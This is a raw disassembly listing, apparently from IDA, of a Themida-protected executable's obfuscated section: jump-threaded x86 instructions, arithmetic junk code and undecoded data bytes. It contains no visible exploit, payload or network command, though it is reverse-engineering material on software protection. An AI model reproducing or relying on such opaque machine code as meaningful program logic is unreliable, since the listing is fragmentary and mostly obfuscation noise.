		mov	ebp, esp
		push	esi
		jmp	loc_546A5A
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0A3BF243Ch, 5614786Dh, 0FFF12CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5476E1:				; CODE XREF: Themida_:005470F8j
		pop	esi
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		xor	[edi+24h], edx
		jmp	loc_54DD2E
; ---------------------------------------------------------------------------

loc_5476F4:				; CODE XREF: Themida_:0054F405j
		pop	edx
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		jmp	loc_54ED29
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFC91Ah
; ---------------------------------------------------------------------------

loc_547708:				; CODE XREF: Themida_:0054A9FAj
		sub	esp, 4
		mov	[esp], edi
		push	3D41h
		mov	[esp], esp
		push	ecx
		jmp	loc_54E982
; ---------------------------------------------------------------------------

loc_54771C:				; CODE XREF: Themida_:005479B0j
		push	ecx
		jmp	loc_54A64A
; ---------------------------------------------------------------------------
a13LSg		db '1,$3,$‹$$ég',7,0
		align 10h

loc_547730:				; CODE XREF: Themida_:0054F03Cj
		mov	esi, 4
		mov	edx, esi
		pop	esi
		add	[esp+4], edx
		pop	edx
		jmp	loc_5440E5
; ---------------------------------------------------------------------------
		dw 85Bh
		dd 535966CCh, 5166B8B3h, 0EB286CB5h, 0B0505966h, 4C8FE3Dh
		dd 404BE9F4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54775E:				; CODE XREF: Themida_:00546B28j
		add	esp, 4
		add	edx, 4
		jmp	loc_544919
; ---------------------------------------------------------------------------
		db 58h,	87h, 0Ch
		dd 24248B24h, 0E92424D3h, 0FFFFC8AAh, 0F04C483h, 8B66C0B6h
		dd 68682414h, 89000022h, 0EDE9242Ch, 29000074h,	5D04246Ch
		dd 7AE9565Ah, 5C000015h, 31242C33h, 2C33242Ch, 601FE924h
		dd 0F8010000h, 83243C8Bh, 0EF8104C4h, 157F3E31h, 0C781C729h
		dd 157F3E31h, 5224048Bh, 0C281E289h, 4,	8704C283h, 0D6E92414h
		dd 66000052h, 53240C89h, 85B514B3h, 0C7E9DD00h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5477E7:				; CODE XREF: Themida_:00549684j
		mov	ebp, 419D0B16h
		push	edx
		mov	edx, 595674C2h
		and	ebp, edx
		pop	edx
		shr	ebp, 1
		neg	ebp
		or	ebp, 546215DBh
		dec	ebp
		add	ebp, 969C0D6Ch
		jmp	loc_545C04
; ---------------------------------------------------------------------------
		db 66h
		dd 52240489h, 0C2FEBAB2h, 805CC280h, 0D0882DF2h, 4124E9h
		dd 4EC8300h, 0B8240489h, 5FE3323Ah, 42C702Dh, 74282D09h
		dd 9A350982h, 894D5C91h, 0E95758C7h, 1599h, 2C6815Ch, 33000000h
		dd 34312434h, 4898E924h, 0C3810000h, 3BE57C94h,	38E3E9h
		dd 242C8900h, 0D7328568h, 0EB015D0Bh, 57242C8Bh, 0E951E789h
		dd 7E2Fh, 6BD5EB81h, 3C8B0798h,	4C48124h, 0FF000000h, 0C794E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54788E:				; CODE XREF: Themida_:00548621j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	edx, edx
		push	7941h
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_549D27
; ---------------------------------------------------------------------------
		db 83h
		dd 0E0E901EDh, 53FFFFD8h, 0A66E951h, 0C8680000h, 89000034h
		dd 0C5BD242Ch, 12E227Eh, 3C8B5DE8h, 4C48124h, 0E9000000h
		dd 4FA5h, 0E99F2CACh, 0FFFFD6B0h, 8BB2EE81h, 322DE938h
		dd 1386F78h, 783205F0h,	348B386Fh, 4C48124h, 53000000h
		dd 95E9E389h, 66000013h, 68240C8Bh, 264Bh, 0E9243C89h
		dd 7241h, 0A4D4E2B9h, 2DE981AAh, 12AD138h, 2DC181F1h, 8B2AD138h
		dd 12E92434h, 83000072h, 0E9042404h, 474Bh, 5D0DE281h
		dd 0D7E9090Fh
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54795B:				; CODE XREF: Themida_:00546808j
		and	edi, 53E0037Fh
		not	edi
		xor	edi, 0C9DBB0BFh
		jmp	loc_549F9E
; ---------------------------------------------------------------------------
		dw 8B66h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 3AD6345Dh
		and	edx, 30507AC2h
		shl	edx, 7
		dec	edx
		jmp	loc_54C3E7
; ---------------------------------------------------------------------------

loc_54798A:				; CODE XREF: Themida_:0054C2B9j
		push	ecx
		mov	ecx, 0CE533B6Bh
		add	edi, ecx
		pop	ecx
		mov	edx, edi
		pop	edi
		sub	edx, 1
		sub	esp, 4
		jmp	loc_54A2CE
; ---------------------------------------------------------------------------

loc_5479A4:				; CODE XREF: Themida_:0054B2F9j
		shl	edx, 3
		add	edx, 0D719964h
		add	ebx, edx
		pop	edx
		jmp	loc_54771C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 8B545624h, 0C4832434h, 4EC8304h, 0E9240C89h,	2895h
; ---------------------------------------------------------------------------

loc_5479CC:				; CODE XREF: Themida_:0054A2D6j
		xor	edx, edi
		jmp	loc_5493D2
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EF8102EFh, 0A168FA11h, 0FFE14CE9h, 405FFh, 0A3E90000h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5479EB:				; CODE XREF: Themida_:0054DDF7j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edx, 73064834h
		add	edx, 105B78CEh
		add	edx, edi
		sub	edx, 105B78CEh
		push	ecx
		push	eax
		mov	eax, 17AB2A1Bh
		jmp	loc_54D06C
; ---------------------------------------------------------------------------

loc_547A15:				; CODE XREF: Themida_:0054C6FAj
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_54ACFF
; ---------------------------------------------------------------------------
		dd 2414F755h, 81D5F75Dh, 803212CDh, 0F7D5F763h,	65ED81DDh
		dd 57291A87h, 59D1E9h
		db 0
; ---------------------------------------------------------------------------

loc_547A49:				; CODE XREF: Themida_:00548DF9j
					; Themida_:0054ECC1j ...
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54DE0E
; ---------------------------------------------------------------------------
		dd 24048B66h, 7F3768h, 0E5B5E900h, 5E5EFFFFh, 4EF6E9h
		db 0
; ---------------------------------------------------------------------------

loc_547A69:				; CODE XREF: Themida_:0054DF7Ej
		mov	[esp], edx
		jmp	loc_548418
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 489665Ch, 7345E924h,	0D7090000h, 801EE9h, 0D0CDFE00h
		dd 0C3C580E5h, 459E828h, 0E9E82830h, 48E6h, 0BF243C89h
		dd 2DE20247h, 0FFC665E9h, 0A4BA52FFh, 81098347h, 322152EAh
		dd 5CE28128h, 68335C7Eh, 2F28h,	7FB6E9h
		db 0
; ---------------------------------------------------------------------------

loc_547AC1:				; CODE XREF: Themida_:0054504Dj
		add	esp, 4
		shr	eax, 0Ah
		jmp	loc_54C6F0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 4C681h, 0B9510000h, 2, 0AE4C681h, 0CE012238h
		dd 0AE4EE81h, 0E9592238h, 2F63h, 0F759CA29h, 42E956D2h
		dd 8BFFFFE6h, 86E9242Ch, 33FFFFD3h, 34312434h, 24343324h
		dd 0BE0F665Ch, 0EB2EE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547B1E:				; CODE XREF: Themida_:005484F6j
		mov	edi, esp
		push	4360h
		mov	[esp], eax
		jmp	loc_546182
; ---------------------------------------------------------------------------
		db 89h,	0FBh, 5Fh
		dd 7668F381h, 0DE012B83h, 0FFF71BE9h, 570959FFh, 68535A1Ch
		dd 6AB1h, 53242C89h, 576FEABBh,	0BE5E94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547B56:				; CODE XREF: Themida_:0054A673j
		pop	esp
		sub	[edi+24h], ecx
		pop	ecx

loc_547B5B:				; CODE XREF: Themida_:0054F7D8j
		push	52E7h
		mov	[esp], ebx
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	ebp
		push	48E752D4h
		pop	ebp
		jmp	loc_54F827
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 6C015C24h, 5E5D0424h, 4F4D68h, 6673E900h
		dd 58540000h, 405h, 0DAB95100h,	0C15A4051h, 0FCE902E9h
		dd 8900005Eh, 4C381E3h,	81000000h, 4C3h, 241C8700h, 24048F5Ch
		dd 4606E9h, 0E7814F00h,	444A4BDFh, 12C78147h, 1FCF924h
		dd 29595FF8h, 0A7EE9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547BD6:				; CODE XREF: Themida_:0054DD55j
		mov	eax, 4C0C3446h
		not	eax
		push	edx
		mov	edx, 9CF747Fh
		sub	eax, edx
		pop	edx
		add	eax, 1
		sub	eax, 0AA245717h
		add	eax, edi
		xor	[eax], edx
		pop	eax
		jmp	loc_54AFF4
; ---------------------------------------------------------------------------

loc_547BFA:				; CODE XREF: Themida_:00544189j
		mov	ebp, 4CD13BFCh
		jmp	loc_5488E6
; ---------------------------------------------------------------------------
		dd 19B0C381h, 0E9554AEBh, 13DBh, 8247C29h, 7E95B5Fh, 87FFFFC4h
		dd 248B2434h, 6AEA8124h, 811A0C17h, 0DB1B53EAh,	81C2010Ah
		dd 0DB1B53C2h, 6C27E90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547C3A:				; CODE XREF: Themida_:00549790j
		push	ebp
		jmp	loc_545F79
; ---------------------------------------------------------------------------
		dd 8106EEC1h, 37CB2C6h,	51BCE927h, 0D9890000h, 5B59CE89h
		dd 3A8BE9h, 66E20000h, 0B13E958h, 8B660000h, 8957240Ch
		dd 4C781E7h, 83000000h,	3C8704EFh, 0F5E95C24h, 5D00001Ch
		dd 0FFFDFDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547C81:				; CODE XREF: Themida_:00544FE9j
		add	esp, 4
		shl	esi, 1
		push	ebp
		mov	ebp, 71CAA14h
		xor	esi, ebp
		pop	ebp
		sub	eax, 55AB5E16h
		add	eax, esi
		add	eax, 55AB5E16h
		jmp	loc_54DBBF
; ---------------------------------------------------------------------------
aVicsN		db 'V‰ćéßN',0
		align 4
		dd 8B241433h, 21E92424h, 5AFFFFE8h, 0E324E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547CBA:				; CODE XREF: Themida_:00549B01j
		push	ecx
		sub	esp, 4
		jmp	loc_549C64
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 3AE644Fh, 180EEE81h,	0C60175A9h, 81E28952h, 4C2h, 4EA8100h
		dd 0E9000000h, 4673h, 0EA88D5F6h, 0FFC79BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547CF1:				; CODE XREF: Themida_:0054CADCj
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_54DAB7
; ---------------------------------------------------------------------------
		db 89h
		dd 84B951E0h, 41612047h, 0FFD758E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547D09:				; CODE XREF: Themida_:0054CE18j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_549DC7
; ---------------------------------------------------------------------------
		dd 0F724248Bh, 0E68956E9h, 4C681h, 2BE90000h, 81000062h
		dd 47061DE5h, 7BD0E91Eh, 77FF0000h, 59669D1Ch, 9C2414D3h
		dd 0FFC2E1E9h, 0D8E02DFFh, 38E9F017h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547D4B:				; CODE XREF: Themida_:00549659j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	ebx
		jmp	loc_54AEAE
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 6
		dd 2A55BF57h, 0F931FCEFh, 646FE95Fh, 0C330000h,	0FAD2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547D72:				; CODE XREF: Themida_:0054B923j
		pop	ebp
		add	eax, 527B5515h
		add	eax, edx
		sub	eax, 527B5515h
		push	dword ptr [esp]
		jmp	loc_54A5E4
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF1h, 4262E9h, 17B15100h, 8128F180h, 4ECh, 241C8900h
		dd 30E5E9h, 40500h, 4870000h, 24248B24h, 0FFC26DE9h, 4EC81FFh
		dd 89000000h, 4832424h,	0F7E90424h, 66000081h, 8124148Bh
		dd 2C4h, 4EC8100h, 89000000h, 7068241Ch, 89000024h, 88532404h
		dd 97E952D3h, 53000044h, 7229E9h, 0E2895200h, 569BE9h
		dd 48F5B00h, 0EDE6E924h, 0DAF7FFFFh, 5701C283h,	6D35A5BFh
		dd 0E7A0E92Eh, 4868FFFFh, 89000046h, 0BB66241Ch, 0C1664123h
		dd 686604EBh, 89667273h, 28E9241Ch, 0E9000066h,	0FFFFC1EEh
		dd 0C5F5815Dh, 0E945CD6Eh, 60C7h, 0E9241C33h, 3599h
; ---------------------------------------------------------------------------

loc_547E48:				; CODE XREF: Themida_:0054C2EFj
		add	esp, 4
		jmp	loc_54BAF1
; ---------------------------------------------------------------------------
		dd 0E5C0E5D0h, 80DDF603h, 0EF3076F5h, 371FE9h, 17C58100h
		dd 89467B4Ch, 0BD555DE9h, 50455294h, 3FBFE9h
		db 0
; ---------------------------------------------------------------------------

loc_547E75:				; CODE XREF: Themida_:00544C04j
		push	59722EA4h
		pop	ebx
		shl	ebx, 1
		push	ebp
		jmp	loc_54F4B9
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8702C3h, 24248B24h, 4A30F66h, 0CEE99C24h, 8300001Bh
		dd 148904ECh, 81E28924h, 4C2h, 4C28300h, 0E9241487h, 8116h
; ---------------------------------------------------------------------------

loc_547EB0:				; CODE XREF: Themida_:0054EE2Aj
		add	al, cl
		add	al, 50h
		jmp	loc_54D462
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8904EC83h, 5D54242Ch, 46857h, 34FF0000h, 89505F24h
		dd 0C6B951E0h, 0E90B1F34h, 0B94h, 405h,	3B6BE900h, 0EE810000h
		dd 0D8038A2h, 3BAAE952h, 8B660000h, 54502404h, 0FFD0C5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547EFD:				; CODE XREF: Themida_:0054D1E0j
		add	edi, 5BE54D9Dh
		jmp	loc_54A741
; ---------------------------------------------------------------------------

loc_547F08:				; CODE XREF: Themida_:0054D15Dj
		pop	esi
		or	eax, eax
		jnz	loc_545B16
		mov	edx, 5F8447BCh
		push	4C62h
		mov	[esp], edx
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		jmp	loc_5459B1
; ---------------------------------------------------------------------------

loc_547F2B:				; CODE XREF: Themida_:0054D8D6j
		push	dword ptr [esp+4]
		jmp	loc_54E276
; ---------------------------------------------------------------------------

loc_547F34:				; CODE XREF: Themida_:00549708j
		pop	esp
		jmp	loc_54FF47
; ---------------------------------------------------------------------------

loc_547F3A:				; CODE XREF: Themida_:0054F9F3j
		mov	eax, 94C021Fh
		shr	eax, 8
		and	eax, 0F700DE5h
		inc	eax
		sub	eax, 0B04E076Fh
		mov	edx, eax
		pop	eax
		sub	esp, 4
		jmp	loc_5452D3
; ---------------------------------------------------------------------------
		dd 240CD366h, 0F43E99Ch, 0CD800000h, 4BED8072h,	5E5CE9h
		dd 41DC2D00h, 0A3E97F3Fh, 0AD000062h, 2668D831h, 89000007h
		dd 31BB241Ch, 81526D00h, 1D0583E3h, 6EBC142h, 4ACAE9h
		db 0
; ---------------------------------------------------------------------------

loc_547F95:				; CODE XREF: Themida_:0054B657j
		shl	edx, 7
		not	edx
		inc	edx
		xor	edx, 7A513184h
		mov	esi, edx
		pop	edx
		sub	ecx, 1CAC76E1h
		jmp	loc_54A5D2
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240489h, 0FFFFC06Ah
; ---------------------------------------------------------------------------

loc_547FB8:				; CODE XREF: Themida_:00546F5Bj
		mov	edi, [esp]
		jmp	loc_54A98F
; ---------------------------------------------------------------------------
		dd 999D1BBBh, 0FFDF3146h, 1C8B2434h, 4C48124h, 83000000h
		dd 0F83104C4h, 83243C8Bh, 0BA5204C4h, 5B6E3F3Eh, 0DA0AC281h
		dd 8BE9D488h, 5D00002Eh, 8904EC83h, 0BA52242Ch,	401C2446h
		dd 7E8E281h, 0C2814F27h, 0BFFBFBC4h, 815AD589h,	25D0EE9h
		dd 0E9E90169h, 388Eh
; ---------------------------------------------------------------------------

loc_548018:				; CODE XREF: Themida_:00546405j
		mov	ecx, 14586672h
		jmp	loc_544451
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8124h, 89000000h,	0E589242Ch, 5DFCE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548036:				; CODE XREF: Themida_:0054AA65j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		jmp	loc_54A72E
; ---------------------------------------------------------------------------

loc_54804C:				; CODE XREF: Themida_:00544914j
		sub	ebx, edi
		sub	ebx, 4A60221Ah
		pop	edi
		sub	ebx, esi
		jmp	loc_5483A8
; ---------------------------------------------------------------------------
		dd 0AE9E3D1h, 8900000Ch, 5BE56E2h, 4E0A4667h, 0E906EEC1h
		dd 0FFFFF4ADh, 3F6EE948h, 0CF810000h, 6AF36CC2h, 4F08E7C1h
		dd 50F78147h, 1E581F1h,	0A6E95FFEh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548093:				; CODE XREF: Themida_:0054E447j
		pop	ecx
		jmp	loc_5469A4
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0E9565954h, 0FFFFD30Ah, 5024148Bh, 0BE56E089h, 711C33AAh
		dd 0AE9D6F7h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5480B7:				; CODE XREF: Themida_:005442C3j
					; Themida_:0054C227j
		push	ecx
		jmp	loc_544E80
; ---------------------------------------------------------------------------

loc_5480BD:				; CODE XREF: Themida_:005440B7j
		mov	[esp], edi
		push	esi
		mov	esi, 77C5F1Bh
		mov	edi, 77C5F1Ah
		xor	edi, esi
		pop	esi
		and	ecx, edi
		jmp	loc_544EE5
; ---------------------------------------------------------------------------
		db 5Ch,	33h, 1Ch
		dd 0C2C4E924h, 0C329FFFFh, 0E9C32958h, 0FFFFDB4Dh
; ---------------------------------------------------------------------------

loc_5480E8:				; CODE XREF: Themida_:00545F02j
		mov	esi, 1783100Ah
		jmp	loc_54D07D
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 4, 0E9241C33h, 78D1h, 4240481h, 8B000000h, 0C4832404h
		dd 0C5B95104h, 41038757h, 4A71E181h, 0C9814B6Fh, 3EEF0BA1h
		dd 0B423C181h, 0C801C010h, 7730E959h, 0F4800000h, 6EEB80BAh
		dd 0C380E328h, 24048B6Eh, 0FFF637E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548141:				; CODE XREF: Themida_:0054FB60j
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, 59F85FA6h
		and	ebp, 3CDD2AC6h
		shl	ebp, 2
		and	ebp, 25A72460h
		jmp	loc_544AF8
; ---------------------------------------------------------------------------
		db 56h
		dd 0A6512ABEh, 527FE91Bh, 9680000h, 89000069h, 95E9243Ch
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54817B:				; CODE XREF: Themida_:00545D3Cj
		push	eax
		jmp	loc_54B8CE
; ---------------------------------------------------------------------------
		db 0BAh, 54h, 5Ah
		dd 9AE965F4h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54818B:				; CODE XREF: Themida_:0054E010j
		pop	eax
		not	eax
		or	eax, 4A2A2E22h
		or	eax, 7F22CBh
		xor	eax, 3CBA0605h
		push	esi
		push	4A1153D8h
		pop	esi
		jmp	loc_54E20F
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0E2h
		dd 811D6D67h, 0B52C22F6h, 0C3EE816Ah, 29574A5Bh, 810E9F2h
		dd 34FF0000h, 89535924h, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 3157E95Ch, 0C0680000h, 89000041h, 0E957240Ch, 0FFFFF485h
		dd 21ABE56h, 0F5897E6Bh, 0E9DDF75Eh, 0FFFFEEDDh, 8B2434FFh
		dd 0C4832404h, 6626804h, 36E90000h, 6600002Dh, 6802B60Fh
		dd 3500h, 54242C89h, 5799E9h
		db 0
; ---------------------------------------------------------------------------

loc_548221:				; CODE XREF: Themida_:0054A645j
		mov	edx, ebp
		pop	ebp
		jmp	loc_5496B3
; ---------------------------------------------------------------------------
		db 0BFh, 0A2h, 3Dh
		dd 0F7812D97h, 2D973DA6h, 0D7E9F801h, 55000028h, 4BDh
		dd 86C18100h, 81318D2Ah, 5226C3C1h, 81E9016Dh, 5226C3E9h
		dd 86E9816Dh, 5D318D2Ah, 8704C183h, 248B240Ch, 0E2BB5324h
		dd 4B290F2Ah, 16BFCB81h, 0BF5724DCh, 34F88CFh, 96E9FB01h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54827F:				; CODE XREF: Themida_:00544E81j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_549F97
; ---------------------------------------------------------------------------

loc_54828A:				; CODE XREF: Themida_:00546E20j
		pop	edx
		xor	al, dl
		mov	edx, [esp]
		push	edx
		jmp	loc_54AA63
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0B9240C89h, 5D2D02AAh, 5519E9h, 49D4B800h, 402D7E4Dh
		dd 0F74E5C26h, 239805D8h, 54E92FF1h, 8B00002Ch,	89572404h
		dd 4C781E7h, 81000000h,	4C7h, 0E900h, 3C870000h, 7415E924h
		dd 0E8000000h, 592434FFh, 0FFE68CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5482E9:				; CODE XREF: Themida_:0054936Fj
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 7C053457h
		sub	esp, 4
		mov	[esp], ecx
		push	4000h
		pop	ecx
		and	eax, ecx
		jmp	loc_5486AF
; ---------------------------------------------------------------------------
		db 66h,	81h, 44h
		dd 2CA50224h, 0BD665566h, 1663216h, 6604246Ch, 6C81665Dh
		dd 0C530224h, 240C8B66h, 0E902C483h, 21CCh, 0EF88D588h
		dd 6BB4E959h, 0EA800000h, 11F9E9A2h, 875E0000h,	248B242Ch
		dd 58545024h, 4EE95055h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54835B:				; CODE XREF: Themida_:00546D63j
		xchg	ebp, [esp]
		pop	esp
		xor	ebx, 629A06D7h
		push	ecx
		push	7A701EE5h
		jmp	loc_544033
; ---------------------------------------------------------------------------
		dd 2434FF5Ch, 53240C8Bh, 67E9E389h, 5000001Ch, 0C40B36B8h
		dd 79EF0D3Dh, 0E9403AFCh, 28E0h, 2C8B5455h, 4C48324h, 6B76E9h
		dd 4C28100h, 0E9000000h, 0FFFFD699h
; ---------------------------------------------------------------------------

loc_5483A8:				; CODE XREF: Themida_:00548057j
		push	eax
		mov	eax, 4A443A4Ch
		jmp	loc_544DC8
; ---------------------------------------------------------------------------
		db 89h
		dd 5B5D53F3h, 0C770E95Eh, 0E951FFFFh, 61C1h, 4246C29h
		dd 0FFE08AE9h, 0A5BB53FFh, 89592F29h, 0D0015BDAh, 5F76E9h
		db 0
; ---------------------------------------------------------------------------

loc_5483DD:				; CODE XREF: Themida_:0054E059j
		mov	[esp], edx
		jmp	loc_54D1CE
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0E924248Bh, 0FFFFD53Fh, 240C8B66h, 4EC81h, 3C890000h
		dd 81E78924h, 4C7h, 4EC8300h, 0E9241C89h, 1CE2h, 0E924248Bh
		dd 0FFFFC4A6h
; ---------------------------------------------------------------------------

loc_548418:				; CODE XREF: Themida_:00547A6Cj
		push	ecx
		mov	ch, 0A8h
		jmp	loc_548F37
; ---------------------------------------------------------------------------
		dd 2A3E952h, 685C0000h,	66B8h, 0E9241C89h, 7824h, 0E2C0D2F6h
		dd 0E9D2F605h, 0FFFFF9ABh
; ---------------------------------------------------------------------------

loc_548440:				; CODE XREF: Themida_:0054C5EEj
		push	dx
		jmp	loc_54EAB8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 24048704h, 240CD25Ch, 0BBC8E99Ch, 8B66FFFFh
		dd 54522404h, 0FFF84EE9h, 0D830ACFFh, 6C7A6866h, 240C8966h
		dd 0E980ECB1h, 90EE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54847A:				; CODE XREF: Themida_:0054A5BEj
		sub	esi, ebx
		pop	ebx
		or	edi, esi
		pop	esi
		sub	edi, 5BA42BE6h
		sub	edx, edi
		jmp	loc_54B4E2
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 5Bh
		dd 4055Bh, 4870000h, 0F876E924h, 0E959FFFFh, 0FFFFBEDEh
; ---------------------------------------------------------------------------

loc_5484A4:				; CODE XREF: Themida_:00549867j
		or	eax, eax
		jz	loc_545B16
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 28h
		jmp	loc_54B67F
; ---------------------------------------------------------------------------

loc_5484BF:				; CODE XREF: Themida_:0054D078j
		mov	ecx, eax
		pop	eax
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [edx]
		jmp	loc_544995
; ---------------------------------------------------------------------------
		dd 0FFBB49E9h, 0E38953FFh, 4BD55h, 0EB010000h, 0D103E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5484EA:				; CODE XREF: Themida_:005493B5j
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_547B1E
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 34FF0000h, 0ACE95F24h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54850B:				; CODE XREF: Themida_:0054DD19j
		sub	edi, ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_5496FA
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 717DC281h,	0C201199Dh, 717DBE56h, 0EDE9199Dh
		dd 0B8FFFFC4h, 2, 8758C301h, 67E9241Ch,	5BFFFFDEh, 0D028C004h
		dd 34FFC02Ch, 40E95A24h, 83FFFFC3h, 1C8704C3h, 0FB7BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54855A:				; CODE XREF: Themida_:005446C9j
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_5445D0
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0BD52CCBDh, 0BD09E924h, 0B050FFFFh, 0FEBF0C36h, 178AE9C8h
		dd 0D72D0000h, 0E91A0B0Eh, 7020h, 5AD3295Fh, 5A2CE381h
		dd 0E381072Dh, 30AC19E5h, 0C5B95143h, 12B3C32h,	0EC8359CBh
		dd 240C8904h, 0FFC4C9E9h, 2CF781FFh, 0C1732B5Fh, 0F78105E7h
		dd 4FBD26A0h, 2D4BCF81h, 0E9520673h, 5914h, 2206BD55h
		dd 0EF015D77h, 53F5E9h,	81D1F700h, 0D37312E9h, 0B8E98102h
		dd 1A0D33Eh, 1C8759CBh,	0C4835C24h, 0FB9E904h, 0FF660000h
		dd 0BA24E932h, 0E089FFFFh, 405h, 2BE5600h, 2D000000h, 13B852D4h
		dd 0D405F001h, 0E913B852h, 788Eh
; ---------------------------------------------------------------------------

loc_54861C:				; CODE XREF: Themida_:0054BF30j
		push	4913h
		jmp	loc_54788E
; ---------------------------------------------------------------------------
		dw 0AD68h
		dd 0E900000Eh, 0FFFFC10Ch
; ---------------------------------------------------------------------------

loc_548630:				; CODE XREF: Themida_:005459ACj
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_548B0D
; ---------------------------------------------------------------------------
a1R		db '\1ĂRş,',0
		align 4
		dd 0E9FA0100h, 5945h, 79E95653h, 0B900006Fh, 22B37D1h
		dd 835FF901h, 0FEE904ECh, 89FFFFFEh, 0D23EE9E3h, 0EE81FFFFh
		dd 7DA81641h, 0ACBF575Dh, 0E922023Eh, 0FFFFF9F6h, 9D1C77FFh
		dd 24041158h, 0B990E99Ch, 248BFFFFh, 0C896624h,	0B60F6624h
		dd 9C5166C8h, 0FFB97DE9h, 4BBFFh, 0DCE90000h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5486AF:				; CODE XREF: Themida_:0054830Cj
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		push	esi
		push	ecx
		mov	ecx, 3309079Ch
		mov	esi, ecx
		jmp	loc_549744
; ---------------------------------------------------------------------------
		db 0B6h, 37h, 0B5h
		dd 5AF528A6h, 0D6A8E953h, 0D3F7FFFFh, 3396CB81h, 0BD553CBBh
